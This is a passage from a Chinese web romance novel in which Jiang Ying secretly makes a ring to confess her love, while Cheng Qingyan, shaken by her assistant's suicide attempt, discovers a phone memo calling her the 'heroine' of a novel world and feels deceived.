周青月由于太紧张,在用餐的时候喝了点酒,喝的不多,没有醉的迹象,安全起见,姜映还是要送她回家。 没有坐车,周青月吃得太多了,想走一段路消消食。 不是很晚,又在市区,比较安全,程卿言放心地让她们去了,分开前对姜映道,“我先回家等你。” 趁没人注意,姜映在女人脸上亲了一下:“我会早点回来。” * 寒冷的夜风吹拂,周青月彻底清醒了,走在路上,但她对于今天发生的事情依旧感到恍惚,反复确认。 “你喜欢的人竟然是程卿言?” 姜映耐心回复:“对。” “真的是程卿言?” “是的。” “程氏集团的程卿言?” “就是她。” 好吧,不是梦,周青月彻底相信了,觉得她的室友太厉害了,好奇道:“你们什么时候确定关系在一起的?” 姜映愣了一下,如实说:“我和她还没确定关系。” “啊?”周青月疑惑,“你不是喜欢她吗?” 姜映肯定:“喜欢。” 周青月:“那你怎么不表白?” 姜映想了想,如实道:“我觉得确不确定关系,对我来说都没什么影响,只要能陪在她身边就行了。” 周青月不太赞同:“不是,你是这样想的,但是程卿言不一定这样想呀。” 姜映认真听着:“你继续。” 周青月说自己的看法:“她虽然比你大,但也不能让她事事主动,你应该主动一点,明确告诉她你的心意,说你喜欢她,说不准她一直在等你表白。” 表白? 很有道理,她不在意,并不代表女人不在意。 姜映脚步顿住,心跳快了几拍,她得向程卿言表白。 第82章 奖励 奖励 第八十二章 余简予没喝酒,饭后自己开车离开了月影秋风。 云秋染喝了一点红酒,无法开车,她的住所和月泊林在同一个方向,一起上车后,程卿言让秦助理先开车送云秋染。 临近春节,两侧的街道上都挂上了装饰品,云秋染侧眸看着,片刻后她主动道:“你是不是看出来了?” 程卿言点头,也不藏着掩着,直白问道:“之前给你送橘子和书签,还有你生日那天在你家里吃饭的人,是林溪对吗?” 寒风凌乱的发梢,云秋染静了静,关上车窗,嗯了一声,缓缓道:“我之前不知道她是姜映的室友,挺巧的。” 程卿言询问:“你和她之间是怎么回事,能说吗?” 云秋染颤了颤眼睫,有些疲惫道:“她和陆枫长得很像。” 确实很像,之前程卿言去研究院找姜映,恰好瞧见了林溪,只是远远地瞧见了背影,身形轮廓实在是太像了,当时都震惊到她了。 但是今天近距离接触,细细瞧着,林溪的五官其实和陆枫长得不像,属于同一种风格的长相,但并不相似。 相似的只有身形。 性格也不一样,完全不同的两个人。 “我去年在国外拍戏,她刚好在那儿的大学做交换生,剧组去校园里取景,她是志愿者,我注意到她,然后就认识了。” 拍戏时接触了几次,留了联系方式,私下又约了几次饭,不知怎么的就睡在了一起。 可能是那晚太冷了,可能是她太寂寞了,也有可能是她不反感林溪。 一次,两次,三次,无数次,就发展成了床伴关系。 云秋染本来打算在回国之前就断掉,但是回国后却还是在联系,一直没提这事,直到她生日那晚,在手机上瞧见港城烟花秀时,林溪瞧好给她表白,说喜欢她。 她才果断提出了断掉。 云秋染简单地给程卿言说了这事,然后闭上眼睛自嘲道:“我是不是很恶心,心里忘不掉陆枫,却还要和别人睡,还伤了别人的心。” 陆枫离世快十年了,活着的时候和云秋染的接触并不多,面都没怎么见,只有在云秋染走投无路需要帮助时才会出手,并没有感情瓜葛。 程卿言的感情经验不多,唯一的一段就是和姜映,而且还处得比较顺,因此她对于这种事,其实是不好评价的。 云秋染是她的好友,只要不做十恶不赦害人害己的事,她的心永远是偏向朋友,并不赞同云秋染这会儿说的话。 思忖片刻,程卿言分析道:“秋染,你有没有想过一种可能,你对陆枫的感情可能不是爱情,她在你最困难的时候帮了你,但又不靠近你,你在感激她的同时,又会对她好奇。” “你事业刚有起色,还没报答她,她就离世了。” 感激,好奇,死亡,永别,遗憾,种种情绪混在一起,逐渐成了云秋染无法释怀的执念。 执念是爱情吗? 这十年云秋染身边出现了这么多优秀的人,也仅仅只和林溪靠近过,只是因为林溪的身形长得像陆枫? 程卿言不得而知,她不是当事人,无法切身体会,只能站在朋友的角度上分析情况,到底是什么,只能靠云秋染自己去辨别。 “港城烟火秀的事已经查出来了,和陆家没有关系,是国外一家有着百年历史的企业放的,再过不久这家外企在碚城的分部要举办周年庆,大老板好像也会来,程氏有邀请函,你如果想去看看,可以作为女伴和我一起。” 程卿言本来打算调查清楚后,再和云秋染说这事也不迟,但这会儿知道了云秋染和林溪的事,还是决定提前说了。 烟花秀和陆家没有关系,云秋染睁开眼,眼眸里浮动和复杂的情绪:“我知道了,我得想一想,之后再做决定行吗?” 程卿言应了声行,邀请函不会变,会变的只有人的想法。 其实也不能说成变,而是“认清”。 认清自己的想法。 送云秋染到家后,云秋染感激道:“多谢了。” 程卿言挑了下眉:“没事,你今天给姜映的大红包还在我这里,我不给她了,就当是给我的谢礼了。” 云秋染笑了一声,挥挥手:“我走了。” 程卿言在看着她进了别墅,才让秦助理开车离开,回到月泊林,发现屋内的灯是亮着的,姜映已经回来了。 姜映领着猫狗,带着一脸笑意过来接她。 程卿言心里暖暖的,寒风吹不散的暖意。 她的亲情很坎坷,但在友情和爱情却很顺利,姜映真的很像一份礼物,突然出现在她生命中。 “你怎么回来得这么快?”程卿言摸摸她的脸。 姜映说:“青月走了一小会儿就累了,她家人正好也在附近吃饭,就来接她了,还先把我送了回来。” 程卿言坐在沙发上,从包里拿出两张卡:“给你的。” 姜映眨眼:“嗯?” 程卿言说:“云秋染和余简予送你的见面礼。” 要给见面礼,但是找不到送什么礼物,于是直接给了钱,让姜映想要什么就去买什么。 给银行卡? 姜映第一次见到这种送礼方式。 程卿言知道女生在想什么,在女生脸上吻了一下:“不要觉得礼太重了,不好意思收,她们钱多着呢,这点钱对她们来说不算什么,而且她们平时也坑了我很多钱,你就当帮我收回来一些。” 女人这样说,姜映也不再拒绝:“好吧。” 程卿言将卡放进女生手里,女生又把卡给了她,疑惑:“给你的,让你去买点想要的东西,给我做什么?” 姜映看着她的眼睛:“我没有要买的,你收着,放你那里,我需要的时候再问你要。” 她物欲低,用钱的地方不多,平时兼职的工资,参加各种竞赛获得的奖金,以及学校给的奖学金,已经够她生活了,还能剩下很多存起来给张芸。 程卿言:“什么想要的都没有?” 姜映忽然抱着她,柔声道:“姐姐。” 程卿言:“嗯?” 姜映道:“想要姐姐。” 想一直陪在女人身边,想要女人快乐,这就是她所想要的一切,用金钱买不到。 她的话没说完整,程卿言这几日做多了,脑子里全是些五颜六色的东西,以为对方想和她做了。 但是昨晚和今天早上弄了好几次,这会儿若是再来,感觉有点累,程卿言静了片刻,解开衬衫扣子,手按在alpha的后颈压了压,送了过去,喘口气道:“两分钟。” alpha一脸茫然,搞不懂女人为何突然奖励她,她陷入了一片跳动的空白中,脑子热热的,也没心思去想别的。 两分钟后,姜映抬头,笑着吻了吻女人的嘴角。 程卿言呼口气,吩咐女生给她系好纽扣,若是这样真能长身体,就女生这种补法,早就营养过剩了。 不正经的事情做了,得说点正经的:“你知道林溪的事吗?” 姜映:“她什么事?” 那就是不知道,程卿言给她讲了云秋染和林溪的事,提醒道:“你朋友最近心情可能会不好,你平时可以多约她吃吃饭。” 她不了解林溪,但二十来岁的小姑娘,万一做傻事了怎么办,还是得提醒几句。 姜映放在心里了,点头:“我知道了。” 上次林溪哭得那么厉害,在酒吧里喝了那么多酒,原来是因为云秋染。 对方不告诉她,应该不是不愿意让她知道,而是考虑到云秋染是公众人物,这件事知道的人越少越好。 感情是个很复杂的事,作为朋友不能过分参和,在朋友需要的时候,给予适当的陪伴就足够了。 而且程卿言和姜映的感情经历很少,都不擅长处理这种事情,提了几句之后,就换了话题。 在沙发上休息了会儿,程卿言让姜映给她拿了电脑,得开始处理工作了。 在女人工作时,姜映安静地坐在旁边,柚柚躺在她腿上睡觉,她看自己的专业书。 即使没有任何言语交流,只要待在一个空间,她也很满足。 氛围很好,很适合学习,但是姜映这会儿却无法集中注意力学习,十来分钟过去了,一页纸都没翻动过,频频走神。 她在想事情,在想对女人表达爱意的事。 周青月今晚说的很正确。 她不在意名分,一直也没考虑过这件事,无论什么身份,只要能陪在女人身边,对女人好,对她而言就足够了,但这并不代表程卿言不需要,不在乎。 她喜欢女人,就该正式将其表达出来,一直不明不白地相处着,对omega而言,其实是不公平的。 不知道对方在这段时间会不会为此感到难过,或是误以为她对待她的态度不认真,姜映在反省自己,是她疏忽了这件事, 至于程卿言会给她什么名分,那就是程卿言的事情了。 她得把她该做的事情做好。 “想什么想得这么入神?”程卿言处理好工作,电脑也关上了,瞧见女生虽然看着书,但眼神却是飘忽的,明显在走神。 什么大事能让好学生在学习的时候走神,她很好奇。 姜映回事,颤了颤眼睫:“没什么,你工作忙完了?” 程卿言点头:“忙忘了。” 姜映起身:“饿了没,我给你做点宵夜?” 程卿言看着她:“不饿。” “那你困了吗,要回房间洗漱休息了吗?”姜映眨眨眼。 一个问题接着一个问题,不对劲儿,很明显在岔开话题,不想让她问她刚才在想什么? 程卿言轻笑了一声,小姑娘的演技有点差啊。 所以到底在想什么大事,虽然好奇,这会儿她也没追问,开口道:“那就休息吧,你呢?” 姜映说:“我也一起休息。” 快十点了,花了半个小时洗漱,躺在床上又亲亲抱抱玩了一会儿,关灯闭眼时已经十一点了。 程卿言近期的睡眠质量有了明显的改善,她觉得是日日挨着女生的缘故,女生的体香和温度都让她敢到舒适安心,道了晚安,不到十分钟,进入了梦乡。 在她睡着后,姜映睁开了眼,脑子比较活跃,继续筹划着表白的事情,等到夜深了,女人也进入了深度睡眠,不容易醒过来时,她才有了动作。 动作轻而缓地取下手腕上的红绳,握起女人的手,快速量了女人手指的尺寸,担心女人突然醒来,姜映紧张,心跳也有点快。 速度较快,十几秒后,红绳重新戴回手腕,很少做这种偷偷摸摸的事情,额头上冒出了细汗,静静躺着缓了几分钟,心跳才恢复了正常。 表白,得准备礼物,姜映想送戒指给女人。 她虽然有一些存款,但昂贵的戒指她买不起,所以她准备先去店里看一看,如果没有恰当的,她就买材料,亲手学着做。 程卿言睡得很熟,对此并不知情。 但以她养小狗的经验来讲,孩子静悄悄,必定在作妖。 接下来几日,程卿言发现姜映一直不对劲儿,研究院那边明明不让她加班,但下班之后也不像之前那样早早回家等着她,或是主动提出去接她,女生每晚都会在研究院多待半个小时。 她问过原因,女生说要学习新知识,研究院的氛围适合学习,有不懂的问题还可以请教别人。 这个回复倒也合理,姜映本就是热爱学习,努力上进的人。 但是。 程卿言晚上在家里也会处理工作,坐在她旁边的姜映虽然拿着书,却一直在走神,和聚餐回来那日走神的状态一模一样,明显在想别的事情。 而且这几日女生也不爱缠着她做那事,晚上早早地就说困了,拉着她一起上床休息。 没有熬夜,睡得很早,姜映是高精力人群,睡不了多久,可是每天早上却比她醒得晚一些,太不对劲儿了。 坏东西在偷偷背着她搞什么? 有什么是不能让她知道的吗? 程卿言有点不乐意了,在公司时她和余简予提了这事,而后问道:“你觉得我该不该问问她?” 无论多么亲密的关系,都得给对方留有一定的私人空间,尊重对方的隐私,这个道理她懂。 她也了解姜映的人品,应该不是在背着她做坏事,她也不用为此操心,但是这坏家伙藏又不藏好,既让她发现了不对劲儿,又不给她说到底是什么事,她憋得难受。 余简予听后,不仅不帮她解忧,还哈哈哈笑了起来,一副看热闹的样子:“没想到啊,没想到你也有今天哈哈哈哈。” 程卿言呵了一声:…… “你要笑到什么时候?” 余简予端起杯子喝了几口温水,也笑得差不多了,清了清嗓子道:“依照我以往的恋爱经验来分析,她应该是在准备惊喜。” 程卿言挑眉:“惊喜?” 余简予说:“三月份不就是你的生日了吗,可能在琢磨生日礼物。” 程卿言:“还有一个多月,这么早就开始准备是不是太夸张了?” “哪里夸张了,她那么喜欢你,这又是她要陪你一起过的第一个生日,你难道不觉得很有纪念意义吗?”余简予说。 程卿言思忖片刻,觉得她说得很有道理,姜映这几日的异常举动就说得通了,嘴角轻轻扬了一下。 瞧着她高兴的样子,余简予也笑了一声,继续道:“所以我建议你别问,不要打乱她的节奏,她在给你准备礼物的过程中肯定也是开心的,就让她去准备吧。” 程卿言嘴角上扬:“我懂,情趣对吗?” 余简予:“就是这个理,你如果实在好奇她给你准备了什么,你也可以翻翻她的手机备忘录,购物软件等等,自己查一查,查到了也别告诉她,装作不知道,等她自己告诉你。” 既能满足好奇心,又获得了体验感。 和年轻人谈恋爱真有意思。 程卿言双手环胸,嘴角扬着,将她的建议听了进去。 但是还没等她研究小姑娘在给她准备什么礼物,突发事件出现了,分散了她的注意力。 周六这晚,程卿言接到电话,何助在家里自杀了,被邻居发现后打了急救电话,及时送去了医院,已经抢救过来,目前还在昏迷中。 程卿言和余简予去了医院,了解了事情的经过,得知何助的母亲今天下午在医院停止了呼吸,已经离世了。 何助的母亲一直有精神疾病,前些年生活在老家,没来碚城,由专业的护工照看,去年下半年何助放长假回家照顾,除了精神疾病,身体还出现了其它毛病,因此回来时也将母亲带来了碚城的医院治疗。 今天下午因病去世。 世界上没有值得留念的人,所以才自杀? 程卿言静静站,隔着玻璃窗看着病床上躺着的人。 之前她和余简予一直想不通何助为什么要泄密,不为名利,到底是为了什么。 她也给了她机会,暗示何助主动来坦白,她给她十天的时间思考,明日是最后一天。 可即便如此,也没等来何助的坦白。 为什么不坦白? 上周五姜映说的那番话点醒了她,何助可能在破罐子破摔,已经放弃自己了,静静等着接受处罚。 何助在进入程氏那一年虽然做过背调,但也只是调查家庭背景,并没有细致地调查她从前的日常。 细节调查起来很麻烦,得花费一些时间,今日上午调查结果才送到手了,还没来得及看,就收到了何助自杀的消息。 此刻将调查结果大致看了一遍,程卿言眉心轻轻拧了起来。 余简予也愣住了,静了几息,轻轻叹了一口气。 何助小时候过得很糟糕,母亲的精神疾病时好时坏,时常被母亲打骂折磨,伤口都弄在了不明显的地方,亲戚邻居没发现,何助也不和别人说,一直静静忍着。 性格过于孤僻,在学校经常无端受到同学们的霸凌,身上总是有伤,也没人管她。 也难怪长大之后是“人机”性格,不爱和人深交,独来独往,严肃正经。 在这种环境中长大,会期待未来吗,母亲不在了,选择了自杀。 程卿言呼口气,理解了何助为什么知道她在暗示她,但也不来坦白的缘故了。 因为这一切于何助而言都没有意义了。 至于为何要泄密,何助留了一封遗书在家里,看了之后,她们也知道原因了。 原因令人唏嘘,而且牵扯到了上一辈的事情。 程卿言已故双亲的同事袁喆,也就是实验室爆炸中死掉的第三人。 袁喆一直单身,眼里只有实验,既没有恋爱也没结过婚,何助的母亲暗恋袁喆,意外和袁喆发生了一次关系,怀孕之后生下了何助,独自抚养,并没有去打扰袁喆。 因此没有人知晓她和袁喆的事,就连袁喆自己也不知道她有孩子。 何助小时候过了几年平静的日子,直到袁喆死在了实验室爆炸中,何助的母亲受了刺激,精神就出问题了,时好时好。 那封邮件也不是何助发出去的,而是何助的母亲泄露的。 何助在信中说,她母亲在来了碚城后,大脑清醒过几次,至于到底有多少次,她也不清楚,她母亲一直是沉默的,不同她说话。 有一次趁她不注意,动了她的电脑,将机密文件发给了程深绩。 何助母亲当年是计算机系的高材生,因此何助也没发现她在她电脑上动了手脚,后来事发之后,她才意识到问题可能出在她这里。 小时候何助不知道她的alpha母亲是谁,她的身边只有omega母亲,而她的omega母亲也从不和她提这件事,直到去年,她带着她母亲来碚城,离开老家的前一晚,她母亲不知从哪找出了一本日记,要一起带走。 她读了日记之后,才知晓袁喆和她母亲的事情。 她母亲在日记中多次提到了程家,恨程家,觉得是程家害了袁喆,但清醒的时候太少,日记写的太乱了,何助大部分都看不懂。 何助不清楚当年发生了什么事,她也不在意,袁喆对她而言只是陌生人。 遗书的最后,何助向程卿言和姜映表达了歉意,即使稻村不是她做的,但她也该为这件事负责,她为此感到抱歉。 余简予将这封信反复看了几遍,心绪久久无法平复,沉默良久,她开口道:“你双亲和袁喆当年发了什么事,你知道吗?” 程卿言呼了口气,摇头:“我也不清楚。” 实验室爆炸,她的双亲为了救她而牺牲了,她只知道这事,其它的事情她并不知情。 当时她的年纪很小,不太能记事,受到惊吓后又昏迷了好几天,因此不记得那日发生了什么。 程老太太将这件事处理得很干净,也从没对她提过,若不是看了何助留的信,她会一直以为实验室爆炸是一场意外。 科研人员做实验引发爆炸,现实生活中有真实案例。 上一辈的事情,只有上一辈的人知道。 程老太太不可能告诉她,那么只有孙影了,孙影或许知情,或许会告诉她。 但孙影前些日子已经飞去国外交流分享特效药成功的经验了,每天忙得不可开交,因此只能等孙影回来后,她再去找她问这事。 在医院待到了深夜,快天亮了,确定何助已经脱离了生命危险,和医生交谈了具体情况,安排好所有事情,她们才离开医院。 坐电梯下楼,去了医院的停车场。 姜映一直在车里等她。 程卿言上车,靠在她肩膀上,闭上眼睛疲倦地呼了口气:“何助目前没事了。” 姜映见她很累,心疼道:“你睡会儿,到家了我叫你。” 程卿言嗯了一声,往后移了移,头枕在她腿上,脑子里一直在想当年的事,过于疲惫,迷迷糊糊睡着了。 车刚停下,到家她就醒了,但女生让她继续睡,不用睁开眼,她听话照做。 彻底醒来时她已经躺在家里的床上了,身上穿着睡裙,抬眸看了眼时间,上午十点零六分了。 伸手摸了摸旁边的位子,没有余温,程卿言躺着缓了会儿神,两分钟后下床,洗漱好后去了客厅。 她推开卧室门时弄出了响动,下一瞬她便瞧见坐在沙发上的姜映快速关了电脑,朝着她走过来。 程卿言笑了一声,这坏家伙觉也不睡,又在悄悄准备生日礼物了? 姜映走到她跟前:“你醒了。” 程卿言点头:“你什么时候起来的?” 姜映说:“一个小时前。” “刚才在工作?”程卿眼眸含笑看着她。 姜映颤睫,捏了捏掌心,含糊道:“在学习。” “学习啊……”程卿言在女生脸上亲了一下,笑着说,“辛苦了。” 姜映有点担心女人会问她在学什么,好在女人没有好奇多问,松了口气问道:“饿了没,我熬了粥。” 这会儿吃午饭太早,吃点粥很合适,程卿言说:“那吃点吧,你吃过了吗?” “我已经吃了,我去热热,再炒一份小菜,你等几分钟。”姜映亲了亲她,转身去了厨房。 程卿言坐在沙发上休息了会儿,瞧见女生的手机放在一旁,抬眸道:“姜映。” 姜映在厨房回应:“怎么了?” 程卿言问道:“我能玩会儿你的手机吗?” 姜映:“你玩吧,密码你知道的。” 程卿言挑了挑眉,这么放心让她玩啊? 没有在手机里记录生日礼物的事? 拿起女生的手机,解锁之后她点进购物软件看了看,没有她想看的,退了出去,又点进备忘录翻了翻。 里面记录的东西的确很多,但都和姜映的专业知识相关,也没有她想知道的,滑动的指尖停下,正打算退出去时,眸光一凝,落在了界面最下方,一个名为“女主程卿言”的备忘录。 女主程卿言。 这是什么意思? 程卿言顿了几秒,点了进去。 第83章 哽咽 哽咽 第八十三章 姜映清炒了一份油麦菜,在加热好的小米粥上撒了一点白糖,端出去摆在了餐桌上。 “可以过来吃了。” 叫了一声,无人回应,也没有脚步声响起,以为女人没听见,她侧眸看过去,只见女人静静坐在沙发上。 姜映走过去:“姐姐?” 程卿言按在沙发上的指尖一颤,涣散的眼神聚焦,落在了女生脸上,一张她已经很熟悉的脸,可是她真的熟悉吗,她在心口问了一句。 姜映见她脸色有些不对,关心道:“怎么了,是不是身体不舒服了?” 程卿言摇头,轻呼一口气,平静道:“我没事,昨晚没休息好。” “那你吃了粥,再去睡会儿。”姜映说。 程卿言起身,走到餐桌旁坐下,拿起勺子盛了一口粥放进嘴里,尝着甜味时愣了一秒,有一种原来如此的感觉。 吃饭时她的话本来就不多,女生说一句,她应一句,很快便放下了碗。 姜映问她:“还要吗,厨房还有。” 程卿言:“不用了,已经够了。” 姜映点头,收起碗筷去了厨房。 程卿言看着她的背影,眉心轻轻拧了拧,片刻后冷笑一声。 吃的简单,姜映很快就收拾好了,解下围裙后回了客厅,快速走到女人身边,摸了摸女人的额头,温度很正常,没有发烧。 应该真的是没休息好,或者是在操心何助的事情,脸色才不太好。 姜映牵起女人的手:“回房睡会儿?” 在得到女人的回应后,她送女人回了卧室,柔声问道:“需要我陪你一起睡吗?” 程卿言注视着她的眼眸:“不用了,你去忙你的事情,我睡一会儿就起来。” 姜映都听她的,应了声好,体贴地倒了一杯温水放在床头,又给她盖好被子:“我去客厅,你有事就叫我一声。” “知道了。”程卿言说。 姜映朝着她笑了笑,俯身在她脸上亲了一下:“那我出去了,你好好休息会儿。” 卧室的窗帘是拉上的,光线很弱,室内比较昏暗。 姜映出去后,程卿言掀开被子坐了起来,指尖抚了抚女生在脸颊上吻过的那块肌理,靠着床头,回想着女生方才对她的种种关心,以及这些日子以来的处处体贴。 她们度过的所有甜蜜时刻,她觉得温馨美好,甚至想珍藏的画面,是不是只有她一个人沉浸在其中。 真是可笑。 她是坚定的唯物主义,但在半个小时前,她在姜映手机里那份名为“女主程卿言”的备忘录里瞧见了令她难以置信的东西。 这是个小说世界,她是这个世界的女主? 她会信吗,若是以前,她不会信,如果别人给她说这些,她只会觉得那人脑子出了问题,该去医院看看。 可当她看了这条备忘录里的内容时,她不得不信了。 姜映在这条备忘录提到了她是世界女主,爱吃甜粥,口味清淡,患有信息素紊乱等等一系列事情。 姜映还在备忘录里说不能惹她生气,她很危险,得顺着她听她的话,才能保护自身安全。 原来从一开始,她们刚认识那会儿,她在姜映眼里就已经是透明的了,她不能让别人知晓的信息素紊乱症,姜映也早就知道。 所以她们最初签订合同时,对方才会那么坚决地在里面加上除了服务关系,她不能对她产生任何感情,以及合同结束之后她们就不能有任何联系等一系列内容。 原来如此。 程卿言冷笑一声,靠着床头,眼眸中混乱的情绪不断翻涌着,胸腔起伏着。 她想到了青朝杯总决赛那晚,她和姜映第一次闹矛盾,对方睡着她隔壁房间,噼里啪啦一直闹出动静,接着又爬到她房门口,嘴角一直在抽搐,眼尾有泪,哭得梨花带雨,突然求着她打她一巴掌。 她当时还以为对方意识到了错误,在屋内悄悄哭得很伤心,让她打她是在求和认错。 她可真自信。 对方哪是在给她道歉,是迫不得已在执行系统发布的“和女主发生肢体接触”的任务,如果不执行,就会受到系统的惩罚。 姜映在备忘录里提到了这件事。 太荒谬了,程卿言面无表情笑了一声。 她自以为清醒,喜欢掌控全局,却被别人耍得团团转。 也不能说是被耍了,应该说是她太过自信蠢钝了。 而姜映异于常人的愈合能力,体能,精力,以及只有她能闻见的信息素,此刻忽然就说得通了。 属于任务者的特殊。 她还愚蠢地觉得姜映是独属于她的礼物,高兴对方如此了解她,她的第一次心动,第一次想和一个人过一辈子,近期也一直在为未来打算,都和姜映有关。 她可不可笑。 让她感到安心的一切,居然只是任务。 程卿言深呼一口气,指尖掐着掌心,明明很生气,可是她此刻的心跳不仅没有继续加速,反而慢了下去。 她在愤怒,可她的情绪很稳定,如同陷入了死寂,寂寥无声。 她在生气,不仅生姜映的气,更多是在生自己气。 气自己事实已经摆在眼前了,可她发现她心里依旧不想承认这是事实。 她在怀疑她是不是还做梦,并没有清醒,程卿言用力掐了掌心,真实的疼痛感告知她,她是清醒的。 可是她还是不想接受事实,她想到了在高速上差点发生车祸那瞬,姜映第一时间护着她,想到了在稻村遇见危险时,姜映不顾自身安危选择救她。 对她的这些好,如此的好,是发自内心的,还是虚情假意,因为任务者愈合能力强,所以不惧生死,才敢做到如此地步对吗。 和她亲吻,拥抱,做爱时流露出来的温柔体贴,是真实的,还是虚假的,任务,也是在做亲密任务对吗。 程卿言分不清了,她的脑子很乱。 她痛恨欺骗,尤其是放在心上,在意之人的欺骗,她不喜欢被蒙在鼓里。 程卿言接受不了,觉得一切都变得讽刺起来,甚至感觉有些反胃。 * 姜映垂眸看了眼时间,女人已经睡了半个小时,即将十二点。 她准备再过十分钟就去卧室,问问女人是想继续睡,还是吃了午饭再睡。 这几日她一直在准备正式向女人表达心意的事情,下班之后她在研究院多留半个小时,其实是在学习做戒指,担心女人发现,一直提心吊胆的。 好在昨晚下班回家之前,她就把戒指做好了,没有带回家,暂时放在了研究院。 姜映不爱拖延,戒指已经准备好,她打算明晚就送出去。 但她是第一次做这种事情,没有经验,还有些紧张,因此她在请教周青月表达心意时应该注意些什么。 周青月没谈过恋爱,平时虽然看了很多小说和电视剧,但在这种关键时刻,她不敢乱出主意。 且姜映喜欢的人还是程卿言,成熟知性的成熟姐姐,她哪搞得懂,对此就更加慎重了,特意跑去问了恋爱经验丰富的朋友,问了好几个,大家的回复不太一样,她全部都转发给了姜映,让姜映自己挑。 酒店,蜡烛,满床的红色花瓣,微醺…… 姜映看了之后,觉得这些好像都不太适合她和程卿言,太浮夸了。 给的意见很多,她继续往下翻看着,瞧见了一句话:和往常的每一天一样,足够真诚,认真地表达出心里的想法,让对方感受到你的喜欢,就可以了 瞧着这句话,姜映安静片刻,忽然就不那么紧张了。 和往常的每一天一样喜欢程卿言,在程卿言觉得舒适的环境里,真诚地表达自己的心意,就是最适合她们的。 姜映心里有了主意,和周青月以及周青月的朋友表达了谢,她放下手机,揉了揉脸颊,起身回了卧室。 轻轻推开房门,瞧见床上没人,浴室的门是关上的,隐约能听见水声,她抬手敲了敲门,问道:“姐姐你在洗澡吗?” 女人回了一句是的。 姜映听见后没有进去,女人早饭吃的不多,洗完澡出来应该会觉得饿,于是她去了厨房做午饭。 已经很了解女人的口味,即使不问,也能做出女人爱吃的食物,挽起袖口,从冰箱里拿出食材,忙活起来。 程卿言洗完澡回到客厅,颤了颤眼睫,静静地看着在厨房里忙活的身影,几息后走过去,拧开厨房门,道:“公司有点事,我得去一趟。” 姜映回头询问:“很急吗?” “有点,”程卿言看着她,“你不用等我吃饭,自己先吃,我也不知道什么时候能回来。” 姜映应了声好,女人的工作本来就忙,时常会突然去公司或是出差,她解开围裙,走过来抱了抱女人,关心道:“你去公司之后记得吃点东西。” 程卿言闭上眼睛,下巴搁在女生的肩膀上,听着她关心的话语,心里泛起了密密麻麻的酸胀感,在这一瞬间她很想开口问姜映,备忘录里那些东西是不是写着玩的,都是假的。 她张了张嘴,最后又闭上了。 又有什么可问的,又能问出什么,备忘录的内容都和现实中的事情完全吻合,还想问什么。 想自欺欺人,程卿言。 已经够荒谬可笑了。 程卿言深呼一口气,睁开眼,离开了女生的怀抱,坐车去了程氏大楼。 路上忽然下起了小雨,细密的雨幕模糊了窗外的世界。 秦助理开着车,给程卿言汇报着一会儿会议上要提到的内容。 公司确实有事需要程卿言处理,翻看完文件,片刻后问道:“何助情况怎么样了?” “还没有清醒。” 秦助理昨夜也去了医院,她平时和何助接触得最多,何助性格虽然冷酷严肃,但接触多了就会发现,其实人很好。 发生了这样的事情,她心里很不好受,一直在担心 医生昨天提过何助得在二十四小时内醒一次才行,不然可能会引起别的问题,日后会落下后遗症。 在公司开了会,又处理了一些工作,抬头时已经到了傍晚,天色渐渐暗了下去。 期间姜映给她发了消息,问她下班没,什么时候回去。 程卿言看着屏幕缄默片刻,回了一句要去医院看何助,不用等她吃饭了,便结束了聊天,不想多说任何一个字。 起身,离开公司,和秦助理一起去了医院。 刚到医院那会儿何助恰好醒了,但神志还没彻底清醒,片刻后又闭上眼睛睡了过去。 医生说这事正常现象,只要能醒过来,就不用担心。 程卿言放心了很多,站在病房外,隔着玻璃窗外看着何助的脸,轻轻呼了一口气。 何助跟了她这么多年,早已是她的心腹,她很看重她,刚知晓何助做了欺骗背叛她的事时,虽然没怎么表现出来,但她内心不可能不难受。 在这世上她信任的人不多,只有个位数,她对她们很在意,也接受不了这些人做出伤害她的事情。 越是在意,越是亲密,付出的感情越浓,就越无法接受。 何助犯错时,她会暗示对方来认错,她会考虑原谅。 那姜映呢? 同床共枕,耳鬓厮磨,在她心里对方已是她最亲密,最在意的人了,她能接受她犯错吗,会考虑原谅吗。 回去的路上,雨依旧没有停下,越下越大,电台播报接下来几日都是暴雨天气,气温会骤降。 程卿言侧眸瞧着窗外,车内温暖,寒冷的风雨完全浸不进来,可她感觉她的内心一片冰凉。 后颈的腺体猛得传来一阵刺痛感,程卿言疼得眉头瞬间皱了起来,大脑空白。 疼了两三秒就恢复了正常,时间很短暂,她深呼一口气缓了片刻,指腹抚了抚后颈,仿佛刚才的疼痛是她产生的错觉。 这是怎么了,因为她情绪起伏过大,引发的疼痛? 腺体本就没有彻底恢复,疼的时间又很短暂,程卿言没有放在心上。 卡宴开进了院子,她还没下车,姜映便撑着伞过来接她,拉开车门,笑着叫了她一声:“姐姐。” 之前让她感到安心的笑容,此时变得极其刺眼,对方的笑容里又有几分是真心。 程卿言平静地应了一声,下车进屋。 姜映问:“何助怎么样了?” 程卿言坐在沙发上:“醒过一次了,没什么大碍。” 没事就好,姜映点点头,女人今日的脸色一直不是很好,情绪也比较低沉,她能感觉到。 女人身体没有不舒服,应该就是在为何助的事情烦忧,在这件事上她帮不上什么忙,只能陪伴,好在何助已经没事了。 正想和女人聊聊天,女人的电话铃声响了。 秦助理打来的电话,程卿言接通。 “嗯。” “知道了,你继续跟进。” “如果出现在碚城了,第一次时间通知我。” 片刻后程卿言挂断了电话,姜映问她:“发生什么事了?” 程卿言:“没事,在找一个人而已。” 找人? 姜映好奇:“谁呀?” 程卿言揉了揉眉心,疲于回应:“你不认识的。” 话音落下后,她就起身回了房间洗澡,已经在外面吃过晚饭,回来后没有工作,洗了澡就掀开被子躺到了床上。 姜映看了眼时间,不到十点,不早也不晚,女人昨夜没休息,白天又累了一天,早点休息也好。 她跟着上床,关了灯后,主动将女人抱在怀里,吻了吻女人的脸颊,柔声道:“晚安。” 程卿言呼了一口气,嗯了一声,没有多说。 她虽然躺下了,但一直没有困意,脑子很乱,不断浮现她们相处画面,每一幕的亲密都在刺痛她的神经。 女人的眼睫是阖上的,呼吸也很均匀,在她怀里一动不动。 姜映在想明晚表白的事情,因此心绪有些分散,并没有察觉到女人并没有睡着。 * 翌日周一。 如天气预报说所的一样,暴雨天,黑云压城。 如果不是在工作日,这种天气其实很挺不错的,很有氛围感,适合在家里煮一壶热红酒,和爱的人抱在一起看看电影,聊聊天。 但是得工作,情况就不一样了。 雨太大,处处湿漉漉的,交通堵塞。 姜映见状,向领导请了一个小时的假,提前回了家,快速洗澡换上干净的衣服,而后去厨房做饭。 她发消息问过女人,今晚不加班,女人会准时回来吃饭。 七点零六分。 程卿言到了家,洗完澡,穿着一条浅灰色的睡裙回了客厅,姜映算着时间,恰好将牛排端上桌。 